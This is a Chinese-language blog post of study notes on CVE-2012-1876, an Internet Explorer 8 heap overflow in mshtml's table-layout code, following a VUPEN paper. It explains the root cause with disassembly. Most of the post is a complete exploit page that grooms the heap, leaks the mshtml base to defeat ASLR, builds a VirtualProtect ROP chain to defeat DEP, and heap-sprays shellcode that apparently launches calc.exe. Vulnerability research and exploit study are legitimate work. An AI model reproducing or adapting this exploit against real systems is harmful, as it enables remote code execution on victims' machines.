跳至內容
Miles
返回

CVE-2012-1876

本文是筆者研讀 VUPEN-Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876 後,自行調試並整理的學習筆記。

實驗環境:

1. 漏洞原因分析

<html>

<body>
    <table style="table-layout:fixed">
        <col id="132" width="41" span="1">&nbsp </col>
    </table>
    <script>
        function over_trigger() {
            var obj_col = document.getElementById("132");
            obj_col.width = "42765";
            obj_col.span = 1000;
        }
        setTimeout("over_trigger();", 1);
    </script>
</body>

</html>

漏洞代碼主要位於 mshtml!CTableLayout::CalculateMinMax。

mshtml!CTableLayout::CalculateMinMax 共會被調用兩次:第一次是在頁面初始化的時候,第二次則是在我們利用 Javascript 修改元素屬性的時候。

;In function CTableLayout::CalculateMinMax() - mshtml.dll (IE8)
8b8394000000 mov eax,dword ptr [ebx+94h] ; eax = 0
c1e802 shr eax,2
3bc2 cmp eax,edx
7d39 jge mshtml!CTableLayout::CalculateMinMax+0x223 (6d73a21f)
3bd7 cmp edx,edi
8db390000000 lea esi,[ebx+90h] ----------------------------------------
0f8c8632f0ff jl mshtml!CTableLayout::CalculateMinMax+0x203 (6d63d47a) |
3b5608 cmp edx,dword ptr [esi+8] |
7613 jbe mshtml!CTableLayout::CalculateMinMax+0x210 (6d73a20c) |
6a1c push 1Ch |
8bc2 mov eax,edx ; edx == span value |
8bfe mov edi,esi |
e89a920c00 call mshtml!CImplAry::EnsureSizeWorker (6d80349e) |
85c0 test eax,eax |
0f85ac020000 jne mshtml!CTableLayout::CalculateMinMax+0xdf1 (6e1ba4b8) |
8b4604 mov eax,dword ptr [esi+4] ; esi == ebx+90h <------------|
8b4d08 mov ecx,dword ptr [ebp+8] ; span value
83e003 and eax,3
c1e102 shl ecx,2
0bc1 or eax,ecx
894604 mov dword ptr [esi+4],eax

當 mshtml!CTableLayout::CalculateMinMax 第一次被調用時,會遇到上述的條件判斷。其中 edx 是我們設定的 span 值(即 9)。

mov eax, dword ptr [ebx+94h]:若是第一次調用,[ebx+94h] 會等於 0。因此在執行 cmp eax, edx 後,程式流程將繼續執行至 call EnsureSizeWorker。

EnsureSizeWorker 函式會依據傳入的 span 值分配記憶體。如果 span value < 4,則會分配至少 4 * 1c 大小的記憶體;

否則,會分配 span value * 1c 大小的記憶體。並且在 EnsureSizeWorker 回傳 0 後,將原本的 [ebx+94h] 改寫為 span value << 2。

因此,當 mshtml!CTableLayout::CalculateMinMax 第二次被調用時(也就是我們利用 Javascript 修改 Col 屬性時),不會再次調用 EnsureSizeWorker 重新分配 Buffer。

隨後,當 mshtml!CTableLayout::CalculateMinMax 再次調用 mshtml!CTableColCalc::AdjustForCol 時,會將 span 值作為迴圈計數器。此時,因為 1000 * 0x1c > 4 * 0x1c,導致堆積溢位 (Heap Overflow)。

2. 漏洞利用分析

VUPEN 的文章中,利用修改字串長度的方式讀取 CButton 的虛擬函式表 (Virtual Table) 以繞過 ASLR,並洩漏 mshtml 的基底位址 (Base Address) 來建構 ROP 鏈以繞過 DEP。

首先,在記憶體中構造如下的佈局:

/*
| Freedblock | BSTR | BSTR | CButtonLayout |.....
    0x100      0x100  0x100      0x100
*/
var div_container = document.getElementById("divc");
var junk = unescape("%u4141%u4141");
var junk2 = unescape("%u4242%u4242");
var junk3 = unescape("%u4343%u4343");

while (junk.length < 0x100) {
  junk += junk;
}
while (junk2.length < 0x100) {
  junk2 += junk2;
}
while (junk3.length < 0x100) {
  junk3 += junk3;
}
var fr = new Array();
var al = new Array();
var bl = new Array();

for (var i = 0; i < 500; i += 2) {
  fr[i] = junk3.substring(0, (0x100 - 6) / 2);
  al[i] = junk.substring(0, (0x100 - 6) / 2);
  bl[i] = junk2.substring(0, (0x100 - 6) / 2);
  var obj = document.createElement("button");
  div_container.appendChild(obj);
}

for (var i = 200; i < 500; i += 2) {
  fr[i] = null;
  CollectGarbage();
}

因為我們一開始設定的 span 值是 9,所以會分配 9 * 1c = 0xfc 大小的記憶體;基於對齊原則,實際會分配 0x100。

因此,如果構造足夠多的 FreedBlock,就有機會讓依據 span 值分配的 Buffer 落入我們準備的 FreedBlock 中。

接著,利用 Javascript 修改 span 值,使迴圈次數足以覆蓋並改變我們字串的長度 (length) 屬性。接著尋找哪個字串被修改了,藉此讀取 mshtml 的 Base Address。

function leak() {
  var obj_col = document.getElementById("132");
  obj_col.width = "41";
  obj_col.span = "19";
}

function get_leak() {
  for (var a = 200; a < 500; a += 2) {
    if (bl[a].length > (0x100 - 6) / 2) {
      var leak = bl[a].substring(
        (0x100 - 6) / 2 + (2 + 8) / 2,
        (0x100 - 6) / 2 + (2 + 8 + 4) / 2
      );
      var leak_addr = leak.charCodeAt(1) * 0x10000 + leak.charCodeAt(0);
      var mshtml_base = leak_addr - 0x1584f8;
    }
  }
}

最後,利用洩漏的 Base Address 建構 ROP,並透過 Heap Spray 將 Shellcode 佈署至可預測的記憶體位址。接著再次修改 span 值以覆蓋虛擬函式表,進而觸發 Shellcode。

<html>

<body>
    <div id="divc"></div>
    <script>
        var div_container = document.getElementById("divc");
        var junk = unescape("%u4141%u4141");
        var junk2 = unescape("%u4242%u4242");
        var junk3 = unescape("%u4343%u4343");

        while (junk.length < 0x100) {
            junk += junk;
        }
        while (junk2.length < 0x100) {
            junk2 += junk2;
        }
        while (junk3.length < 0x100) {
            junk3 += junk3;
        }
        var fr = new Array();
        var al = new Array();
        var bl = new Array();

        for (var i = 0; i < 500; i += 2) {
            fr[i] = junk3.substring(0, (0x100 - 6) / 2);
            al[i] = junk.substring(0, (0x100 - 6) / 2);
            bl[i] = junk2.substring(0, (0x100 - 6) / 2);
            var obj = document.createElement("button");
            div_container.appendChild(obj);
        }

        for (var i = 200; i < 500; i += 2) {
            fr[i] = null;
            CollectGarbage();
        }
    </script>
    <table style="table-layout:fixed">
        <col id="132" width="41" span="9">&nbsp </col>
    </table>
    <script>
        function leak() {
            var obj_col = document.getElementById("132");
            obj_col.width = "41";
            obj_col.span = "19";
        }

        function trigger() {
            var obj_col = document.getElementById("132");
            obj_col.width = "1178993"; //0x07070024
            obj_col.span = "34";
        }

        function get_leak() {
            for (var a = 200; a < 500; a += 2) {
                if (bl[a].length > (0x100 - 6) / 2) {
                    var leak = bl[a].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
                    var leak_addr = leak.charCodeAt(1) * 0x10000 + leak.charCodeAt(0);
                    var mshtml_base = leak_addr - 0x1584f8;
                    //alert(mshtml_base.toString(16));
                    setTimeout(function() {
                        heap_spary(mshtml_base)
                    }, 100);
                }
            }
        }

        function heap_spary(mshtml_base) {
            CollectGarbage();

            function get_offset(base, old_offset) {
                var offset = old_offset - 0x70660000;
                var ret = base + offset;
                var str_ret = ret.toString(16);
                return "%u" + str_ret.substring(4, 8) + "%u" + str_ret.substring(0, 4);
            }

            function alloc(bytes, str) {
                while (str.length < bytes) str += str;
                return str.substr(0, (bytes - 6) / 2); // header-size + terminator = 6
            }
            block_size = 0x1000; // 4096-bytes
            NopSlide = '';
            var bomb = unescape(get_offset(mshtml_base, 0x70799b90)); // # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
            bomb = bomb + unescape("%u4242%u4242"); // 4
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180b)); // # XCHG EAX,ESP # RETN 4
            bomb = bomb + unescape("%u4242%u4242%u4040%u4040%u4040%u4040%u4040%u4040"); // 16
            bomb = bomb + unescape(get_offset(mshtml_base, 0x70799b90));
            bomb = bomb + unescape("%u4242%u4242");
            for (var b = 0; b < 4; b++) { // 32
                bomb = bomb + unescape("%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242"); // 24
                bomb = bomb + unescape(get_offset(mshtml_base, 0x70799b90)); // # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
                bomb = bomb + unescape("%u4242%u4242");
            }
            bomb = bomb + unescape("%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242"); // 24
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c)); // # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
            bomb = bomb + unescape("%u4242%u4242");
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
            bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
            bomb = bomb + unescape(get_offset(mshtml_base, 0x70765859));
            //0x706643fa  # ADD ESP,0C # POP EBP # RETN 0x04 total 20
            //0x70799b90  # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
            /*	mshtml.dll base = 0x70660000
              //rop chain generated with mona.py - www.corelan.be
            	rop_gadgets = unescape(
            	"%u5859%u7076" + // 0x70765859 : ,# POP EBP # RETN [mshtml.dll]
            	"%u5859%u7076" + // 0x70765859 : ,# skip 4 bytes [mshtml.dll]
            	"%uc53b%u706e" + // 0x706ec53b : ,# POP EBX # RETN [mshtml.dll]
            	"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
            	"%uf126%u70a7" + // 0x70a7f126 : ,# POP EDX # RETN [mshtml.dll]
            	"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
            	"%ucfe8%u707b" + // 0x707bcfe8 : ,# POP ECX # RETN [mshtml.dll]
            	"%uad37%u70b9" + // 0x70b9ad37 : ,# &Writable location [mshtml.dll]
            	"%ua1cc%u707d" + // 0x707da1cc : ,# POP EDI # RETN [mshtml.dll]
            	"%u38e2%u707e" + // 0x707e38e2 : ,# RETN (ROP NOP) [mshtml.dll]
            	"%ub470%u7073" + // 0x7073b470 : ,# POP ESI # RETN [mshtml.dll]
            	"%uc0a3%u7066" + // 0x7066c0a3 : ,# JMP [EAX] [mshtml.dll]
            	"%u0f2a%u707c" + // 0x707c0f2a : ,# POP EAX # RETN [mshtml.dll]
            	"%u1348%u7066" + // 0x70661348 : ,# ptr to &VirtualProtect() [IAT mshtml.dll]
            	"%ua2c8%u70b7" + // 0x70b7a2c8 : ,# PUSHAD # RETN [mshtml.dll]
            	"%u0b54%u706b" + // 0x706b0b54 : ,# ptr to 'jmp esp' [mshtml.dll]
            	""); //  :
            */
            var rop = unescape(get_offset(mshtml_base, 0x709b180b)); // # XCHG EAX,ESP # RETN
            rop = rop + unescape(get_offset(mshtml_base, 0x70765859));
            rop = rop + unescape(get_offset(mshtml_base, 0x70765859));
            rop = rop + unescape(get_offset(mshtml_base, 0x706ec53b));
            rop = rop + unescape("%u0201%u0000");
            rop = rop + unescape(get_offset(mshtml_base, 0x70a7f126));
            rop = rop + unescape("%u0040%u0000");
            rop = rop + unescape(get_offset(mshtml_base, 0x707bcfe8));
            rop = rop + unescape(get_offset(mshtml_base, 0x70b9ad37));
            rop = rop + unescape(get_offset(mshtml_base, 0x707da1cc));
            rop = rop + unescape(get_offset(mshtml_base, 0x707e38e2));
            rop = rop + unescape(get_offset(mshtml_base, 0x7073b470));
            rop = rop + unescape(get_offset(mshtml_base, 0x7066c0a3));
            rop = rop + unescape(get_offset(mshtml_base, 0x707c0f2a));
            rop = rop + unescape(get_offset(mshtml_base, 0x70661348));
            rop = rop + unescape(get_offset(mshtml_base, 0x70b7a2c8));
            rop = rop + unescape(get_offset(mshtml_base, 0x706b0b54));
            rop = rop + unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f" +
                "%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a" +
                "%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6" +
                "%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3" +
                "%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0" +
                "%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0" +
                "%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300" +
                "%ud5ff%u6163%u636c%u652e%u6578%u4100");
            for (var c = 0; c < block_size; c++) {
                NopSlide += unescape('%u9090');
            }
            NopSlide = NopSlide.substring(0, block_size - (rop.length + bomb.length));

            var OBJECT = bomb + rop + NopSlide;
            OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

            var evil = new Array();
            for (var k = 0; k < 150; k++) {
                evil[k] = OBJECT.substr(0, OBJECT.length);
            }
        }
        setTimeout("leak();", 400);
        setTimeout("get_leak();", 500);
        setTimeout("trigger();", 700);
    </script>

</body>

</html>

CVE-2012-1876 POC

參考資料:


分享文章:

上一篇
CVE-2012-1889
下一篇
CVE-2014-0282